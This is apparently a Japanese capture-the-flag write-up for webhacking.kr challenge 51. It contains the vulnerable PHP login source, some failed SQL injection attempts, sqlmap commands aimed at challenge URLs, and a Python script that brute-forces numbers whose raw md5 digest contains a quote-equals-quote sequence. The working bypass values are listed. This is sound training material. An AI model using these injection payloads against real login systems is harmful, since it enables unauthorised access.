<?php include "../../config.php"; if($_GET['view_source']) view_source(); ?><html> <head> <title>Challenge 51</title> <style> table{ color:lightgreen;} </style> </head> <body bgcolor=black><br><br> <font color=silver> <center><h1>Admin page</h1></center> </font> <?php if($_POST['id'] && $_POST['pw']){ $db = dbconnect(); $input_id = addslashes($_POST['id']); $input_pw = md5($_POST['pw'],true); $result = mysqli_fetch_array(mysqli_query($db,"select id from chall51 where id='{$input_id}' and pw='{$input_pw}'")); if($result['id']) solve(51); if(!$result['id']) echo "<center><font color=green><h1>Wrong</h1></font></center>"; } ?> <br><br><br> <form method=post> <table border=0 align=center bgcolor=gray width=200 height=100> <tr align=center><td>ID</td><td><input type=text name=id></td></tr> <tr align=center><td>PW</td><td><input type=password name=pw></td></tr> <tr><td colspan=2 align=center><input type=submit></td></tr> </table> <font color=silver> <div align=right><br>.<br>.<br>.<br>.<br><a href=./?view_source=1>view-source</a></div> </font> </form> </body> </html>
$id = "\x95' OR id = id --"; $input_id = addslashes($id); $input_pw = md5("aaaaaa",true); $result = "select id from chall51 where id='{$input_id}' and pw='{$input_pw}'"; echo $result;
sqlmap
sqlmap https://webhacking.kr/challenge/web-33/index.php --data "search=a" --risk 3 --level 3
sqlmap https://webhacking.kr/challenge/bonus-13/ --data "id=a&pw=b" --risk 3 --level 3
ペイロード
old-51
<html> <head> <title>Challenge 51</title> <style> table{ color:lightgreen;} </style> </head> <body><br><br> <font color=silver> <center><h1>Admin page</h1></center> </font> <?php $_POST['id'] = '--'; $_POST['pw'] = 'a'; $input_id = addslashes($_POST['id']); $input_pw = md5($_POST['pw'],true); $result = "select id from chall51 where id='{$input_id}' and pw='{$input_pw}'"; echo $result; ?> <br><br><br> <form method=post> <table border=0 align=center bgcolor=gray width=200 height=100> <tr align=center><td>ID</td><td><input type=text name=id></td></tr> <tr align=center><td>PW</td><td><input type=password name=pw></td></tr> <tr><td colspan=2 align=center><input type=submit></td></tr> </table> <font > <div align=right><br>.<br>.<br>.<br>.<br><a href=./?view_source=1>view-source</a></div> </font> </form> </body> </html>
SQL
insert into chall8(agent,ip,id) values('guest','127001', 'guest' ) --','aaa','guest')
insert into chall8(agent,ip,id) values(CHAR(103, 117, 101, 115, 116),127001, CHAR(103, 117, 101, 115, 116) ) --','aaa','guest')
うまく動かない...
編集後
<html> <head> <title>Challenge 51</title> <style> table{ color:lightgreen;} </style> </head> <body><br><br> <font color=silver> <center><h1>Admin page</h1></center> </font> <?php $_POST['id'] = "id \\'; insert into chall8(id,pw) values(CHAR(103, 117, 101, 115, 116), CHAR(103, 117, 101, 115, 116) ) ; /*"; $_POST['pw'] = 'a'; $input_id = addslashes($_POST['id']); $input_pw = md5($_POST['pw'],true); $result = "select id from Test where id='{$input_id}' and pw='{$input_pw}'"; echo $result; ?> <br><br><br> <form method=post> <table border=0 align=center bgcolor=gray width=200 height=100> <tr align=center><td>ID</td><td><input type=text name=id></td></tr> <tr align=center><td>PW</td><td><input type=password name=pw></td></tr> <tr><td colspan=2 align=center><input type=submit></td></tr> </table> <font > <div align=right><br>.<br>.<br>.<br>.<br><a href=./?view_source=1>view-source</a></div> </font> </form> </body> </html>
編集後
<html> <head> <title>Challenge 51</title> <style> table{ color:lightgreen;} </style> </head> <body><br><br> <font color=silver> <center><h1>Admin page</h1></center> </font> <?php $_POST['id'] = "id \\'; insert into chall8(id,pw) values(CHAR(103, 117, 101, 115, 116), CHAR(103, 117, 101, 115, 116) ) ; /*"; $_POST['pw'] = 'a'; $input_id = addslashes($_POST['id']); $input_pw = md5($_POST['pw'],true); $result = "select id from Test where id='{$input_id}' and pw='{$input_pw}'"; echo $result; ?> <br><br><br> <form method=post> <table border=0 align=center bgcolor=gray width=200 height=100> <tr align=center><td>ID</td><td><input type=text name=id></td></tr> <tr align=center><td>PW</td><td><input type=password name=pw></td></tr> <tr><td colspan=2 align=center><input type=submit></td></tr> </table> <font > <div align=right><br>.<br>.<br>.<br>.<br><a href=./?view_source=1>view-source</a></div> </font> </form> </body> </html>
正解
id \\' insert /*
pwの方を攻略しに行く
idは'
がエスケープされているため、脱出できない。
なので、md5
で暗号化されるpwを攻略しに行く。
hashlib.md5で暗号化された時に '='
が存在すれば、攻略の可能性がある。
それを無理やり破るため、pythonでどの数字が該当するかを確認する。
import hashlib for i in range(0,20000000000000000): input_pw = str(i) input_pw_hashed = hashlib.md5(input_pw.encode('utf-8')).digest() if "'='" in str(input_pw_hashed): print(i) print(input_pw_hashed)
python3 main.py 776741 b'\xf3"Y\x94 \x92\xd8\x10C\xd7\x9aa\xd2o\'=' 999761 b'\x13\xec_"c\xd87\xfb\xa83\x18$jr\'=' 1058471 b'\x1c\x9e@\xb4\xd9\x7f\xa0\xc1\x00\x84\x05"\xdb\xd8\'=' 1839431 b"\xc37\x90\xa5\xaf\xc4\xb1A@J\xbe'='\xaa\xa9" 2584670 b"\xdf\x8b\x12'='N/\xe6*{\xec\x18\x16\x931" 2632003 b"\x1c\x12(\xcc'='6\xfaQE\x84\x0e\x96\xed\x99"
このうち、 1839431
を入力すると、SQLは以下のようになる。
select id from Test where id='a' and id='�7���ıA@J�'='��';
これは文法として不完全に見えるが、実は動く。
false = falseはtrue
と評価されるのが理由らしいが...
あるいは、別の解法として、or
を無理やり入れる方法もあるらしい。
https://cvk.posthaven.com/sql-injection-with-raw-md5-hashes
129581926211651571912466741651878684928
を入れると、これも正解した!